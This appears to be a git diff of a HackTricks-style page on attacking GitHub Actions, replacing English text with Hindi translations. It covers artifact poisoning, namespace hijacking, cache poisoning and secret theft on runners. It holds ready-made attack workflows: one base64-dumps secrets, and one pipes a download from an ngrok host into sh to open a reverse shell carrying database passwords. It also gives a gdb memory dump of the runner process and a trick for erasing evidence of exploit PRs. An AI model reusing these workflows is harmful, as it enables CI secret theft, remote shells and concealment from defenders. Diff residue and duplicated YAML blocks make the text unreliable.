यदि एक हमलावर इस **env** चर के अंदर **कोई भी मान** **इंजेक्ट** कर सकता है, तो वह env चर को इंजेक्ट कर सकता है जो अगले चरणों में कोड निष्पादित कर सकता है जैसे **LD_PRELOAD** या **NODE_OPTIONS**।
|
||||
|
||||
For example ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine a workflow that is trusting an uploaded artifact to store its content inside **`GITHUB_ENV`** env variable. An attacker could upload something like this to compromise it:
|
||||
उदाहरण के लिए ([**यह**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) और [**यह**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), कल्पना करें कि एक वर्कफ़्लो एक अपलोड की गई कलाकृति पर भरोसा कर रहा है ताकि इसकी सामग्री को **`GITHUB_ENV`** env चर के अंदर संग्रहीत किया जा सके। एक हमलावर इसे समझौता करने के लिए कुछ इस तरह अपलोड कर सकता है:
|
||||
|
||||
<figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Vulnerable Third Party Github Actions
|
||||
### कमजोर तृतीय पक्ष गिटहब एक्शन
|
||||
|
||||
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
|
||||
|
||||
As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), this Github Action allows to access artifacts from different workflows and even repositories.
|
||||
जैसा कि [**इस ब्लॉग पोस्ट**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks) में उल्लेख किया गया है, यह गिटहब एक्शन विभिन्न वर्कफ़्लो और यहां तक कि रिपॉजिटरी से कलाकृतियों तक पहुंच की अनुमति देता है।
|
||||
|
||||
The thing problem is that if the **`path`** parameter isn't set, the artifact is extracted in the current directory and it can override files that could be later used or even executed in the workflow. Therefore, if the Artifact is vulnerable, an attacker could abuse this to compromise other workflows trusting the Artifact.
|
||||
|
||||
Example of vulnerable workflow:
|
||||
समस्या यह है कि यदि **`path`** पैरामीटर सेट नहीं किया गया है, तो कलाकृति वर्तमान निर्देशिका में निकाली जाती है और यह उन फ़ाइलों को ओवरराइट कर सकती है जो बाद में वर्कफ़्लो में उपयोग की जा सकती हैं या यहां तक कि निष्पादित की जा सकती हैं। इसलिए, यदि कलाकृति कमजोर है, तो एक हमलावर इसका दुरुपयोग करके अन्य वर्कफ़्लो को समझौता कर सकता है जो कलाकृति पर भरोसा करते हैं।
|
||||
|
||||
कमजोर वर्कफ़्लो का उदाहरण:
|
||||
```yaml
|
||||
on:
|
||||
workflow_run:
|
||||
workflows: ["some workflow"]
|
||||
types:
|
||||
- completed
|
||||
workflow_run:
|
||||
workflows: ["some workflow"]
|
||||
types:
|
||||
- completed
|
||||
|
||||
jobs:
|
||||
success:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v2
|
||||
- name: download artifact
|
||||
uses: dawidd6/action-download-artifact
|
||||
with:
|
||||
workflow: ${{ github.event.workflow_run.workflow_id }}
|
||||
name: artifact
|
||||
- run: python ./script.py
|
||||
with:
|
||||
name: artifact
|
||||
path: ./script.py
|
||||
success:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v2
|
||||
- name: download artifact
|
||||
uses: dawidd6/action-download-artifact
|
||||
with:
|
||||
workflow: ${{ github.event.workflow_run.workflow_id }}
|
||||
name: artifact
|
||||
- run: python ./script.py
|
||||
with:
|
||||
name: artifact
|
||||
path: ./script.py
|
||||
```
|
||||
|
||||
This could be attacked with this workflow:
|
||||
|
||||
यह इस वर्कफ़्लो के साथ हमला किया जा सकता है:
|
||||
```yaml
|
||||
name: "some workflow"
|
||||
on: pull_request
|
||||
|
||||
jobs:
|
||||
upload:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- run: echo "print('exploited')" > ./script.py
|
||||
- uses actions/upload-artifact@v2
|
||||
with:
|
||||
name: artifact
|
||||
path: ./script.py
|
||||
upload:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- run: echo "print('exploited')" > ./script.py
|
||||
- uses actions/upload-artifact@v2
|
||||
with:
|
||||
name: artifact
|
||||
path: ./script.py
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Other External Access
|
||||
## अन्य बाहरी पहुँच
|
||||
|
||||
### Deleted Namespace Repo Hijacking
|
||||
### हटाए गए Namespace Repo Hijacking
|
||||
|
||||
If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted.
|
||||
यदि एक खाता अपना नाम बदलता है, तो कुछ समय बाद कोई अन्य उपयोगकर्ता उस नाम के साथ एक खाता पंजीकृत कर सकता है। यदि एक रिपॉजिटरी का **नाम बदलने से पहले 100 से कम सितारे थे**, तो Github नए पंजीकृत उपयोगकर्ता को उसी नाम के साथ एक **रिपॉजिटरी बनाने** की अनुमति देगा जो हटाई गई थी।
|
||||
|
||||
> [!CAUTION]
|
||||
> So if an action is using a repo from a non-existent account, it's still possible that an attacker could create that account and compromise the action.
|
||||
> इसलिए यदि कोई क्रिया एक गैर-मौजूद खाते से एक रिपॉजिटरी का उपयोग कर रही है, तो यह संभव है कि एक हमलावर उस खाते को बना सके और क्रिया को समझौता कर सके।
|
||||
|
||||
If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
|
||||
यदि अन्य रिपॉजिटरी **इस उपयोगकर्ता की रिपॉजिटरी से निर्भरताएँ** का उपयोग कर रही हैं, तो एक हमलावर उन्हें हाइजैक करने में सक्षम होगा। यहाँ आपके पास एक अधिक पूर्ण व्याख्या है: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
|
||||
|
||||
---
|
||||
|
||||
## Repo Pivoting
|
||||
|
||||
> [!NOTE]
|
||||
> In this section we will talk about techniques that would allow to **pivot from one repo to another** supposing we have some kind of access on the first one (check the previous section).
|
||||
> इस अनुभाग में हम उन तकनीकों के बारे में बात करेंगे जो **एक रिपॉजिटरी से दूसरी रिपॉजिटरी में पिवट** करने की अनुमति देंगी, मानते हुए कि हमारे पास पहले वाले पर कुछ प्रकार की पहुँच है (पिछले अनुभाग की जाँच करें)।
|
||||
|
||||
### Cache Poisoning
|
||||
### कैश पॉइज़निंग
|
||||
|
||||
A cache is maintained between **wokflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow.
|
||||
एक कैश **समान शाखा में वर्कफ़्लो रन के बीच** बनाए रखा जाता है। जिसका अर्थ है कि यदि एक हमलावर **एक पैकेज को समझौता करता है** जो फिर कैश में संग्रहीत होता है और **डाउनलोड** और **अधिक विशेषाधिकार प्राप्त** वर्कफ़्लो द्वारा निष्पादित होता है, तो वह उस वर्कफ़्लो को भी **समझौता** कर सकेगा।
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-cache-poisoning.md
|
||||
{{#endref}}
|
||||
|
||||
### Artifact Poisoning
|
||||
### आर्टिफैक्ट पॉइज़निंग
|
||||
|
||||
Workflows could use **artifacts from other workflows and even repos**, if an attacker manages to **compromise** the Github Action that **uploads an artifact** that is later used by another workflow he could **compromise the other workflows**:
|
||||
वर्कफ़्लो **अन्य वर्कफ़्लो और यहां तक कि रिपॉजिटरी से आर्टिफैक्ट्स** का उपयोग कर सकते हैं, यदि एक हमलावर उस Github Action को **समझौता** करने में सफल होता है जो एक आर्टिफैक्ट **अपलोड** करता है जो बाद में किसी अन्य वर्कफ़्लो द्वारा उपयोग किया जाता है, तो वह **अन्य वर्कफ़्लो को समझौता** कर सकता है:
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-artifact-poisoning.md
|
||||
@@ -394,11 +376,11 @@ gh-actions-artifact-poisoning.md
|
||||
|
||||
---
|
||||
|
||||
## Post Exploitation from an Action
|
||||
## एक क्रिया से पोस्ट एक्सप्लॉइटेशन
|
||||
|
||||
### Accessing AWS and GCP via OIDC
|
||||
### OIDC के माध्यम से AWS और GCP तक पहुँच
|
||||
|
||||
Check the following pages:
|
||||
निम्नलिखित पृष्ठों की जाँच करें:
|
||||
|
||||
{{#ref}}
|
||||
../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
|
||||
@@ -408,170 +390,160 @@ Check the following pages:
|
||||
../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### Accessing secrets <a href="#accessing-secrets" id="accessing-secrets"></a>
|
||||
### रहस्यों तक पहुँच <a href="#accessing-secrets" id="accessing-secrets"></a>
|
||||
|
||||
If you are injecting content into a script it's interesting to know how you can access secrets:
|
||||
यदि आप एक स्क्रिप्ट में सामग्री इंजेक्ट कर रहे हैं, तो यह जानना दिलचस्प है कि आप रहस्यों तक कैसे पहुँच सकते हैं:
|
||||
|
||||
- If the secret or token is set to an **environment variable**, it can be directly accessed through the environment using **`printenv`**.
|
||||
- यदि रहस्य या टोकन को **पर्यावरण चर** पर सेट किया गया है, तो इसे **`printenv`** का उपयोग करके सीधे पर्यावरण के माध्यम से पहुँचा जा सकता है।
|
||||
|
||||
<details>
|
||||
|
||||
<summary>List secrets in Github Action output</summary>
|
||||
|
||||
<summary>Github Action आउटपुट में रहस्यों की सूची</summary>
|
||||
```yaml
|
||||
name: list_env
|
||||
on:
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- '**'
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- '**'
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- '**'
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- '**'
|
||||
jobs:
|
||||
List_env:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: List Env
|
||||
# Need to base64 encode or github will change the secret value for "***"
|
||||
run: sh -c 'env | grep "secret_" | base64 -w0'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
List_env:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: List Env
|
||||
# Need to base64 encode or github will change the secret value for "***"
|
||||
run: sh -c 'env | grep "secret_" | base64 -w0'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Get reverse shell with secrets</summary>
|
||||
|
||||
<summary>गुप्तों के साथ रिवर्स शेल प्राप्त करें</summary>
|
||||
```yaml
|
||||
name: revshell
|
||||
on:
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- "**"
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- "**"
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- "**"
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- "**"
|
||||
jobs:
|
||||
create_pull_request:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Get Rev Shell
|
||||
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
create_pull_request:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Get Rev Shell
|
||||
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
- If the secret is used **directly in an expression**, the generated shell script is stored **on-disk** and is accessible.
|
||||
- ```bash
|
||||
cat /home/runner/work/_temp/*
|
||||
```
|
||||
- For a JavaScript actions the secrets and sent through environment variables
|
||||
- ```bash
|
||||
ps axe | grep node
|
||||
```
|
||||
- For a **custom action**, the risk can vary depending on how a program is using the secret it obtained from the **argument**:
|
||||
- यदि गुप्त को **एक्सप्रेशन में सीधे** उपयोग किया जाता है, तो उत्पन्न शेल स्क्रिप्ट **ऑन-डिस्क** संग्रहीत होती है और इसे एक्सेस किया जा सकता है।
|
||||
- ```bash
|
||||
cat /home/runner/work/_temp/*
|
||||
```
|
||||
- JavaScript क्रियाओं के लिए गुप्त को पर्यावरण चर के माध्यम से भेजा जाता है
|
||||
- ```bash
|
||||
ps axe | grep node
|
||||
```
|
||||
- एक **कस्टम क्रिया** के लिए, जोखिम इस बात पर निर्भर कर सकता है कि एक प्रोग्राम ने **आर्गुमेंट** से प्राप्त गुप्त का उपयोग कैसे किया:
|
||||
|
||||
```yaml
|
||||
uses: fakeaction/publish@v3
|
||||
with:
|
||||
key: ${{ secrets.PUBLISH_KEY }}
|
||||
```
|
||||
```yaml
|
||||
uses: fakeaction/publish@v3
|
||||
with:
|
||||
key: ${{ secrets.PUBLISH_KEY }}
|
||||
```
|
||||
|
||||
### Abusing Self-hosted runners
|
||||
### स्वयं-होस्टेड रनर्स का दुरुपयोग
|
||||
|
||||
The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml.
|
||||
यह पता लगाने का तरीका कि कौन सी **Github Actions गैर-github अवसंरचना में निष्पादित हो रही हैं** वह है कि Github Action कॉन्फ़िगरेशन yaml में **`runs-on: self-hosted`** के लिए खोजें।
|
||||
|
||||
**Self-hosted** runners might have access to **extra sensitive information**, to other **network systems** (vulnerable endpoints in the network? metadata service?) or, even if it's isolated and destroyed, **more than one action might be run at the same time** and the malicious one could **steal the secrets** of the other one.
|
||||
|
||||
In self-hosted runners it's also possible to obtain the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory:
|
||||
**स्वयं-होस्टेड** रनर्स को **अतिरिक्त संवेदनशील जानकारी** तक पहुंच हो सकती है, अन्य **नेटवर्क सिस्टम** (नेटवर्क में कमजोर एंडपॉइंट? मेटाडेटा सेवा?) या, भले ही यह अलग-थलग और नष्ट हो जाए, **एक से अधिक क्रियाएं एक ही समय में चलाई जा सकती हैं** और दुर्भावनापूर्ण एक **दूसरे के गुप्त को चुरा सकती है**।
|
||||
|
||||
स्वयं-होस्टेड रनर्स में यह भी संभव है कि **\_Runner.Listener**\_\*\* प्रक्रिया\*\* से **गुप्त प्राप्त करें** जो किसी भी चरण पर कार्यप्रवाह के सभी गुप्त को अपनी मेमोरी को डंप करके रखेगा:
|
||||
```bash
|
||||
sudo apt-get install -y gdb
|
||||
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
|
||||
```
|
||||
|
||||
Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
|
||||
Check [**इस पोस्ट में अधिक जानकारी के लिए**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
|
||||
|
||||
### Github Docker Images Registry
|
||||
|
||||
It's possible to make Github actions that will **build and store a Docker image inside Github**.\
|
||||
An example can be find in the following expandable:
|
||||
यह संभव है कि Github actions बनाई जाएं जो **Github के अंदर एक Docker छवि का निर्माण और संग्रह करें**।\
|
||||
एक उदाहरण निम्नलिखित विस्तार योग्य में पाया जा सकता है:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Github Action Build & Push Docker Image</summary>
|
||||
|
||||
```yaml
|
||||
[...]
|
||||
|
||||
- name: Set up Docker Buildx
|
||||
uses: docker/setup-buildx-action@v1
|
||||
uses: docker/setup-buildx-action@v1
|
||||
|
||||
- name: Login to GitHub Container Registry
|
||||
uses: docker/login-action@v1
|
||||
with:
|
||||
registry: ghcr.io
|
||||
username: ${{ github.repository_owner }}
|
||||
password: ${{ secrets.ACTIONS_TOKEN }}
|
||||
uses: docker/login-action@v1
|
||||
with:
|
||||
registry: ghcr.io
|
||||
username: ${{ github.repository_owner }}
|
||||
password: ${{ secrets.ACTIONS_TOKEN }}
|
||||
|
||||
- name: Add Github Token to Dockerfile to be able to download code
|
||||
run: |
|
||||
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
|
||||
run: |
|
||||
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
|
||||
|
||||
- name: Build and push
|
||||
uses: docker/build-push-action@v2
|
||||
with:
|
||||
context: .
|
||||
push: true
|
||||
tags: |
|
||||
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
|
||||
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
|
||||
uses: docker/build-push-action@v2
|
||||
with:
|
||||
context: .
|
||||
push: true
|
||||
tags: |
|
||||
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
|
||||
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
|
||||
|
||||
[...]
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
As you could see in the previous code, the Github registry is hosted in **`ghcr.io`**.
|
||||
|
||||
A user with read permissions over the repo will then be able to download the Docker Image using a personal access token:
|
||||
जैसा कि आप पिछले कोड में देख सकते हैं, Github रजिस्ट्री **`ghcr.io`** में होस्ट की गई है।
|
||||
|
||||
एक उपयोगकर्ता जिसे रेपो पर पढ़ने की अनुमति है, वह फिर व्यक्तिगत एक्सेस टोकन का उपयोग करके Docker इमेज डाउनलोड कर सकेगा:
|
||||
```bash
|
||||
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
|
||||
docker pull ghcr.io/<org-name>/<repo_name>:<tag>
|
||||
```
|
||||
|
||||
Then, the user could search for **leaked secrets in the Docker image layers:**
|
||||
फिर, उपयोगकर्ता **Docker छवि परतों में लीक हुए रहस्यों** के लिए खोज कर सकता है:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
|
||||
{{#endref}}
|
||||
|
||||
### Sensitive info in Github Actions logs
|
||||
### Github Actions लॉग में संवेदनशील जानकारी
|
||||
|
||||
Even if **Github** try to **detect secret values** in the actions logs and **avoid showing** them, **other sensitive data** that could have been generated in the execution of the action won't be hidden. For example a JWT signed with a secret value won't be hidden unless it's [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
|
||||
यहां तक कि अगर **Github** **क्रियाओं के लॉग में रहस्यमय मानों** का **पता लगाने** और **उन्हें दिखाने से बचने** की कोशिश करता है, तो **अन्य संवेदनशील डेटा** जो क्रिया के निष्पादन में उत्पन्न हो सकता है, छिपा नहीं होगा। उदाहरण के लिए, एक JWT जो एक रहस्यमय मान के साथ हस्ताक्षरित है, तब तक छिपा नहीं होगा जब तक कि इसे [विशेष रूप से कॉन्फ़िगर](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret) नहीं किया गया हो।
|
||||
|
||||
## Covering your Tracks
|
||||
## अपने निशान छुपाना
|
||||
|
||||
(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) First of all, any PR raised is clearly visible to the public in Github and to the target GitHub account. In GitHub by default, we **can’t delete a PR of the internet**, but there is a twist. For Github accounts that are **suspended** by Github, all of their **PRs are automatically deleted** and removed from the internet. So in order to hide your activity you need to either get your **GitHub account suspended or get your account flagged**. This would **hide all your activities** on GitHub from the internet (basically remove all your exploit PR)
|
||||
(तकनीक [**यहां**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit) से) सबसे पहले, कोई भी PR जो उठाया गया है, वह Github में सार्वजनिक रूप से और लक्षित GitHub खाते के लिए स्पष्ट रूप से दिखाई देता है। GitHub में डिफ़ॉल्ट रूप से, हम **इंटरनेट से एक PR को हटा नहीं सकते**, लेकिन इसमें एक मोड़ है। उन GitHub खातों के लिए जो **Github द्वारा निलंबित** हैं, उनके सभी **PRs स्वचालित रूप से हटा दिए जाते हैं** और इंटरनेट से हटा दिए जाते हैं। इसलिए अपनी गतिविधियों को छिपाने के लिए आपको या तो अपने **GitHub खाते को निलंबित** कराना होगा या अपने खाते को **फ्लैग** कराना होगा। यह **आपकी सभी गतिविधियों** को GitHub से इंटरनेट से छिपा देगा (बुनियादी रूप से आपके सभी शोषण PR को हटा देगा)
|
||||
|
||||
An organization in GitHub is very proactive in reporting accounts to GitHub. All you need to do is share “some stuff” in Issue and they will make sure your account is suspended in 12 hours :p and there you have, made your exploit invisible on github.
|
||||
GitHub में एक संगठन खातों की रिपोर्ट करने में बहुत सक्रिय है। आपको बस "कुछ चीजें" Issue में साझा करनी हैं और वे सुनिश्चित करेंगे कि आपका खाता 12 घंटे में निलंबित हो जाए :p और आपके पास है, अपने शोषण को github पर अदृश्य बना दिया।
|
||||
|
||||
> [!WARNING]
|
||||
> The only way for an organization to figure out they have been targeted is to check GitHub logs from SIEM since from GitHub UI the PR would be removed.
|
||||
> एक संगठन के लिए यह पता लगाने का एकमात्र तरीका है कि वे लक्षित हुए हैं, SIEM से GitHub लॉग की जांच करना है क्योंकि GitHub UI से PR हटा दिया जाएगा।
|
||||
|
||||
## Tools
|
||||
## उपकरण
|
||||
|
||||
The following tools are useful to find Github Action workflows and even find vulnerable ones:
|
||||
निम्नलिखित उपकरण GitHub Action वर्कफ़्लो खोजने और यहां तक कि कमजोर लोगों को खोजने के लिए उपयोगी हैं:
|
||||
|
||||
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
|
||||
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
|
||||
@@ -579,7 +551,3 @@ The following tools are useful to find Github Action workflows and even find vul
|
||||
- [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user